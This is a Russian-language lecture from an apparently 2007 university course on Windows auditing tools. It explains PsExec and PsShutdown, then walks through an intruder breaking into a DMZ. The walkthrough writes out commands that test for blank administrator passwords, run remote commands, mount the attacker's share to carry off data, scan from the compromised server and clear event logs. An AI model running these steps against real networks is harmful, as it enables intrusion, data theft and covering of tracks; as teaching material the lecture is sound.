Россия, Москва, Московский Государственный Открытый Университет, 2007 |
Средства ревизии Windows
PsExec
PsExec считается наиболее распространенной утилитой из набора PsTools. Она выполняет команды на удаленном компьютере, а также загружает программу на удаленную систему, если ее там нет. В отличие от других средств удаленного выполнения, таких как Windows-версии Unix-команды rexec, с помощью PsExec вам не надо устанавливать дополнительные динамические библиотеки или специальные серверные приложения. Однако вы должны иметь доступ к общему ресурсу ADMIN$ и полномочия для использования этого средства в сети.
PsExec понимает, что вы хотите выполнять команду на удаленном компьютере, поэтому аргумент ComputerName обязателен (вы всегда можете определить параметры -u и -p, чтобы задать имя пользователя и пароль).
C:\>psexec.exe \\192.168.0.43 cmd /c dir
Убедитесь в правильности ввода полного имени команды. По умолчанию PsExec выполняет команды из директории %SYSTEMROOT%\System32. Ниже приведено несколько примеров.
C:\>psexec.exe \\192.168.0.43 ipconfig /all C:\>psexec.exe \\192.168.0.43 net use * \\10.2.13.61\ \backups Rch!ve /u:backup C:\>psexec.exe \\192.168.0.43 c:\cygwin\usr\sbin\sshd
Если название программы или дорожка содержат пробелы, то они должны вводиться в двойных кавычках. Если программа отсутствует на компьютере, используйте параметр -c (или -f ). Тем самым вы скопируете копию программы с вашего компьютера в директорию \\ComputerName's \System32 другой машины. Параметр -f дает возможность перезаписать файл, если такой уже существует. Приведенный пример помещает программу fscan, сканер портов, выполняемый из командной строки, на компьютер, и затем запускает его на сканирование сети класса C.
C:\>psexec.exe \\192.168.0.43 -c fscan.exe -q -bp1-10001 -o targets.txt 192.168.0.1-192.168.0.255
Можно использовать параметр -c для загрузки полного набора утилит на удаленную машину.
Последние три параметра управляют удаленным процессом. Для отсоединения от процесса и выполнения его в фоновом режиме используйте параметр -d (аналогично демо-режиму в Unix). Используйте параметр -s для запуска команды на системном уровне. Параметр -i дает возможность интерактивного взаимодействия с программой: с FTP или другими командами, которые требуют ввода пароля.
PsShutdown
PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже ( psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).
C:\>psshutdown.exe PsShutdown v1.01 - Local and remote shutdown/reboot program Copyright (C) 2000 Mark Russinovich Sysinternals - www.sysinternals.com usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer] -t Specifies countdown in seconds until shutdown (default: 20 seconds) -m Message to display to logged on users -f Forces running applications to close -r Reboot after shutdown -a Abort a shutdown (only possible while countdown is in progress) -l Shutdown the local system \\computer Shutdown the remote computer specified7.3.
Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f ; это работает аналогично команде shutdown -c -y из Resource Kit.
Пример из жизни. Проникновение в DMZ
Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или DMZ. Однако корпоративная сеть может быть враждебной к Web-серверам и базам данных DMZ во многих отношениях. "Тревожный звонок" может обнаружить на рабочем месте пользователя PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.
В любом случае порты NetBIOS между корпоративной сетью и DMZ чаще всего открыты. Несмотря на это, атака хакеров из интернета вызывает беспокойство, верно? Взгляните на то, как PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.
C:\fscan -p1-1024 192.168.17.1-192.168.17.255 192.168.17.1 139/tcp 192.168.17.1 135/tcp 192.168.17.1 3389/tcp 192.168.17.1 445/tcp 192.168.17.39 80/tcp 192.168.17.39 139/tcp 192.168.17.39 135/tcp 192.168.17.39 445/tcp 192.168.17.148 80/tcp 192.168.17.148 139/tcp 192.168.17.202 445/tcp 192.168.17.239 139/tcp 192.168.17.239 135/tcp 192.168.17.239 445/tcp
Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.
Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.
C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p "" \\192.168.17.%%h systeminfo_192.168.17.%%h.txt
Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (hotfix).
SP2SRP1: Windows 2000 Security Rollup Package...
Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.
Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.
C:\psexec -u Administrator -p "" \\192.168.17.148 net use * \\10.0.0.99\tools pass /u:user Drive H: is now connected to \\10.0.0.99\tools. The command completed successfully.
Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).
C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255
Посмотрите, что здесь происходит. Fscan копируется на систему-жертву ( -c ); система-жертва запускает fscan и сохраняет отчет ( -o h:\fscan.output ) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.
192.168.17.202 1433/tcp
Взломщик нашел базу данных!
Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.
- ipconfig /all. Определяет, является ли система системой со многими IP-адресами. Web-сервер часто имеет две сетевые карты - одну для интернет IP-адреса и другую для внутренних связей с базой данных.
- netstat -na. Просматривает текущие связи и принимающие службы. Это отличный способ идентифицировать другие сети. Например, мы можем провести сканирование портов всего пространства сети класса А (10.0.0.0/8) или проверить отчет netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).
- dir /s c:\. Рекурсивный список директорий, повторяемый для каждого из дисков. Наряду со средством PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.asa, которые содержат чистые текстовые пароли.
Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.
C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148